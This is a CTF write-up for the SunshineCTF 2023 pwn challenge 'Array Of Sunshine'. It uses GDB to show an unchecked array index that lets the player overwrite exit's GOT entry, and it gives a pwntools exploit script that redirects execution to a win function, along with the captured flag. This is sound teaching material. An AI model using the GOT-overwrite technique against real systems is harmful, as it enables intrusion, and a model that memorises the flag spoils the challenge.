SunshineCTF 2023
pwn/Array Of Sunshine
The Challenge
1
2
3
4
5
6
7
Sunshine on my shoulders makes me happy...
Haiku to Sunshine - ChatGPT
☀️ A sunbeam kisses
Golden warmth in every slice
Nature's sweet embrace
Server info
nc chal.2023.sunshinectf.games 23003
The Solution
When we run the program, we see a huge banner and a prompt asking us which fruit we would like to eat from a choice of 0 to 3.
1
2
3
4
5
6
7
8
9
10
$ ./sunshine
MMMMMMMMMMMMMMMMMMMMMMMMMWx..cONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMXkc..;xNMMMMWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
...
MMMMMMMMMMMMMMMMMMMWOl' .cONMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMNkl,. .'ckXWMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMN0xl;.. ..;lx0NMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOo:,.. ..':okKWMMMMMMMMMMMMMMMMMMMMMMMMMM
Which fruit would you like to eat [0-3] >>> 2
then it prompts us asking for a new fruit to replace
it. Let’s try Watermelon
1
2
3
Replace it with a new fruit.
Type of new fruit >>>Watermelon
$
and then the program closes. Let’s run checksec
on this binary to get a gist of what attacks we can possibly perform
1
2
3
4
5
6
7
$ checksec sunshine
[*] '/home/vulnx/CTFs/sunshine/array_of_sunshine/sunshine'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stack: Canary found
… which means no buffer overflow? Not exactly, but let’s try something else.
If you read the assembly in GDB you will see that main
eventually ends up calling basket
. basket
is the function which gives us these prompts. Let’s break down what does it exactly do.
Essentially there exists an array called fruits
with the following values { "Oranges", "Apples", "Pears", "Bananas" }
. The programs asks us the index of the fruit from this array. Then it asks us a new fruit which is formatted as "%24s"
and stored in the array at that index, ultimately overwriting the original fruit with the new one.
For example if we give input as:
1
2
index = 2
fruit = "Watermelon"
then the array changes as follows:
1
2
3
4
5
6
7
8
INITIAL | FINAL
======= | =====
{ | {
"Oranges", | "Oranges",
"Apples", | "Apples",
"Pears", | "Watermelon",
"Bananas" | "Bananas"
} | }
The flaw here is that our integer input is not limited to just 0 to 3, it can be anything. The program does not have a safety check before writing our input to that location. We can exploit this vulnerability to our advantage.
Let’s open the program in GDB and have a look at the basket
function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ gdb sunshine -q
Reading symbols from sunshine...
This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.archlinux.org>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in sunshine)
gdb-peda$ disassemble basket
Dump of assembler code for function basket:
0x0000000000401552 <+0>: push rbp
0x0000000000401553 <+1>: mov rbp,rsp
0x0000000000401556 <+4>: sub rsp,0x30
...
0x000000000040164f <+253>: mov edi,0xffffffff
0x0000000000401654 <+258>: call 0x4010b0 <exit@plt>
0x0000000000401659 <+263>: nop
0x000000000040165a <+264>: mov rax,QWORD PTR [rbp-0x8]
0x000000000040165e <+268>: sub rax,QWORD PTR fs:0x28
0x0000000000401667 <+277>: je 0x40166e <basket+284>
0x0000000000401669 <+279>: call 0x401040 <__stack_chk_fail@plt>
0x000000000040166e <+284>: leave
0x000000000040166f <+285>: ret
End of assembler dump.
There is a call to the PLT of exit
just before our function ends. If we disassemble it we can get the GOT entry for exit
:
1
2
3
4
5
6
gdb-peda$ disassemble 0x4010b0
Dump of assembler code for function exit@plt:
0x00000000004010b0 <+0>: jmp QWORD PTR [rip+0x3f8a] # 0x405040 <exit@got.plt>
0x00000000004010b6 <+6>: push 0x8
0x00000000004010bb <+11>: jmp 0x401020
End of assembler dump.
There it is : 0x405040
. My point is, if we can find the right integer input, we can potentially force the program to write our Watermelon
or for that matter any data into the GOT entry for exit
eventually redirecting code execution.
Let’s find that right integer. If we set a breakpoint just before the program writes data to the memory location based on our input, we can find out where it is writing to.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
gdb-peda$ b * basket +178
Breakpoint 1 at 0x401604
gdb-peda$ run
Starting program: /home/vulnx/CTFs/sunshine/array_of_sunshine/sunshine
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
MMMMMMMMMMMMMMMMMMMMMMMMMWx..cONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMXkc..;xNMMMMWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
...
Which fruit would you like to eat [0-3] >>> -5
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe678 --> 0x7fffffffe987 ("/home/vulnx/CTFs/sunshine/array_of_sunshine/sunshine")
RCX: 0x0
RDX: 0xffffffffffffffd8
RSI: 0x405058 --> 0x0
RDI: 0x402e7d --> 0x6972700073343225 ('%24s')
RBP: 0x7fffffffe540 --> 0x7fffffffe560 --> 0x1
RSP: 0x7fffffffe510 --> 0xfffffffb00000000
RIP: 0x401604 (<basket+178>: call 0x4010a0 <__isoc99_scanf@plt>)
R8 : 0x1999999999999999
R9 : 0xa ('\n')
R10: 0x7ffff7d82ac0 --> 0x100000000
R11: 0x202
R12: 0x0
R13: 0x7fffffffe688 --> 0x7fffffffe9bc ("SHELL=/bin/zsh")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0
R15: 0x404e00 --> 0x401170 (<__do_global_dtors_aux>: endbr64)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4015f5 <basket+163>: lea rax,[rip+0x1881] # 0x402e7d
0x4015fc <basket+170>: mov rdi,rax
0x4015ff <basket+173>: mov eax,0x0
=> 0x401604 <basket+178>: call 0x4010a0 <__isoc99_scanf@plt>
0x401609 <basket+183>: mov QWORD PTR [rbp-0x28],0x404020
0x401611 <basket+191>: mov QWORD PTR [rbp-0x20],0x404038
0x401619 <basket+199>: mov rax,QWORD PTR [rbp-0x28]
0x40161d <basket+203>: mov rax,QWORD PTR [rax]
Guessed arguments:
arg[0]: 0x402e7d --> 0x6972700073343225 ('%24s')
arg[1]: 0x405058 --> 0x0
arg[2]: 0xffffffffffffffd8
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe510 --> 0xfffffffb00000000
0008| 0x7fffffffe518 --> 0x7fffffffe688 --> 0x7fffffffe9bc ("SHELL=/bin/zsh")
0016| 0x7fffffffe520 --> 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0
0024| 0x7fffffffe528 --> 0x40153b (<logo+623>: nop)
0032| 0x7fffffffe530 --> 0x7ffff7c57cb0 (<scanf>: endbr64)
0040| 0x7fffffffe538 --> 0xa31985351887d00
0048| 0x7fffffffe540 --> 0x7fffffffe560 --> 0x1
0056| 0x7fffffffe548 --> 0x4016c7 (<main+87>: jmp 0x4016bd <main+77>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0000000000401604 in basket ()
Ok so when our input was -5
our data is being written to 0x405058
which is pretty close to 0x405040
(GOT entry of exit
). Let’s try -8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
gdb-peda$ run
Starting program: /home/vulnx/CTFs/sunshine/array_of_sunshine/sunshine
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
MMMMMMMMMMMMMMMMMMMMMMMMMWx..cONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMXkc..;xNMMMMWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
...
Which fruit would you like to eat [0-3] >>> -8
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe678 --> 0x7fffffffe987 ("/home/vulnx/CTFs/sunshine/array_of_sunshine/sunshine")
RCX: 0x0
RDX: 0xffffffffffffffc0
RSI: 0x405040 --> 0x4010b6 (<exit@plt+6>: push 0x8)
RDI: 0x402e7d --> 0x6972700073343225 ('%24s')
RBP: 0x7fffffffe540 --> 0x7fffffffe560 --> 0x1
RSP: 0x7fffffffe510 --> 0xfffffff800000000
RIP: 0x401604 (<basket+178>: call 0x4010a0 <__isoc99_scanf@plt>)
R8 : 0x1999999999999999
R9 : 0xa ('\n')
R10: 0x7ffff7d82ac0 --> 0x100000000
R11: 0x202
R12: 0x0
R13: 0x7fffffffe688 --> 0x7fffffffe9bc ("SHELL=/bin/zsh")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0
R15: 0x404e00 --> 0x401170 (<__do_global_dtors_aux>: endbr64)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4015f5 <basket+163>: lea rax,[rip+0x1881] # 0x402e7d
0x4015fc <basket+170>: mov rdi,rax
0x4015ff <basket+173>: mov eax,0x0
=> 0x401604 <basket+178>: call 0x4010a0 <__isoc99_scanf@plt>
0x401609 <basket+183>: mov QWORD PTR [rbp-0x28],0x404020
0x401611 <basket+191>: mov QWORD PTR [rbp-0x20],0x404038
0x401619 <basket+199>: mov rax,QWORD PTR [rbp-0x28]
0x40161d <basket+203>: mov rax,QWORD PTR [rax]
Guessed arguments:
arg[0]: 0x402e7d --> 0x6972700073343225 ('%24s')
arg[1]: 0x405040 --> 0x4010b6 (<exit@plt+6>: push 0x8)
arg[2]: 0xffffffffffffffc0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe510 --> 0xfffffff800000000
0008| 0x7fffffffe518 --> 0x7fffffffe688 --> 0x7fffffffe9bc ("SHELL=/bin/zsh")
0016| 0x7fffffffe520 --> 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0
0024| 0x7fffffffe528 --> 0x40153b (<logo+623>: nop)
0032| 0x7fffffffe530 --> 0x7ffff7c57cb0 (<scanf>: endbr64)
0040| 0x7fffffffe538 --> 0x4964c047dd3bbf00
0048| 0x7fffffffe540 --> 0x7fffffffe560 --> 0x1
0056| 0x7fffffffe548 --> 0x4016c7 (<main+87>: jmp 0x4016bd <main+77>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0000000000401604 in basket ()
Perfect, -8
corresponds to the GOT entry for exit
. Let’s continue with the program and write "AAAAAA"
to that location and see if we can redirect code execution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
gdb-peda$ c
Continuing.
AAAAAA
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe678 --> 0x7fffffffe987 ("/home/vulnx/CTFs/sunshine/array_of_sunshine/sunshine")
RCX: 0x0
RDX: 0xffffffffffffffc0
RSI: 0x405040 --> 0x4010b6 (<exit@plt+6>: push 0x8)
RDI: 0x402e7d --> 0x6972700073343225 ('%24s')
RBP: 0x7fffffffe540 --> 0x7fffffffe560 --> 0x1
RSP: 0x7fffffffe510 --> 0xfffffff800000000
RIP: 0x401604 (<basket+178>: call 0x4010a0 <__isoc99_scanf@plt>)
R8 : 0x1999999999999999
R9 : 0xa ('\n')
R10: 0x7ffff7d82ac0 --> 0x100000000
R11: 0x202
R12: 0x0
[----------------------------------registers-----------------------------------]
RAX: 0x6
RBX: 0x7fffffffe678 --> 0x7fffffffe987 ("/home/vulnx/CTFs/sunshine/array_of_sunshine/sunshine")
RCX: 0x0
RDX: 0x7ffff7c52250 (<printf>: endbr64)
RSI: 0xa ('\n')
RDI: 0xffffffff
RBP: 0x7fffffffe540 --> 0x7fffffffe560 --> 0x1
RSP: 0x7fffffffe508 --> 0x401659 (<basket+263>: nop)
RIP: 0x414141414141 ('AAAAAA')
R8 : 0x1
R9 : 0xa ('\n')
R10: 0x18
R11: 0x246
R12: 0x0
R13: 0x7fffffffe688 --> 0x7fffffffe9bc ("SHELL=/bin/zsh")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0
R15: 0x404e00 --> 0x401170 (<__do_global_dtors_aux>: endbr64)
EFLAGS: 0x10212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x414141414141
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe508 --> 0x401659 (<basket+263>: nop)
0008| 0x7fffffffe510 --> 0xfffffff800000000
0016| 0x7fffffffe518 --> 0x404020 --> 0x6
0024| 0x7fffffffe520 --> 0x404038 --> 0x0
0032| 0x7fffffffe528 --> 0x6
0040| 0x7fffffffe530 --> 0x0
0048| 0x7fffffffe538 --> 0xddddf7e3c569ff00
0056| 0x7fffffffe540 --> 0x7fffffffe560 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000414141414141 in ?? ()
BOOM! Code execution redirected. Now let’s quickly replace "AAAAAA"
with the memory address of win
. Let’s also write a neat python script to grab the flag for us.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.log_level = 'critical'
# p = process('./sunshine')
p = remote('chal.2023.sunshinectf.games', 23003)
elf = ELF('./sunshine')
p.sendline(b'-8')
p.sendline(p64(elf.symbols['win']))
p.recvuntil(b'sun')
flag = p.recvuntil(b'}').decode()
print('FLAG: sun{}'.format(flag) )
and run it
1
2
$ python exploit.py
FLAG: sun{a_ray_of_sunshine_bouncing_around}
and that wraps up this writeup!
FLAG
sun{a_ray_of_sunshine_bouncing_around}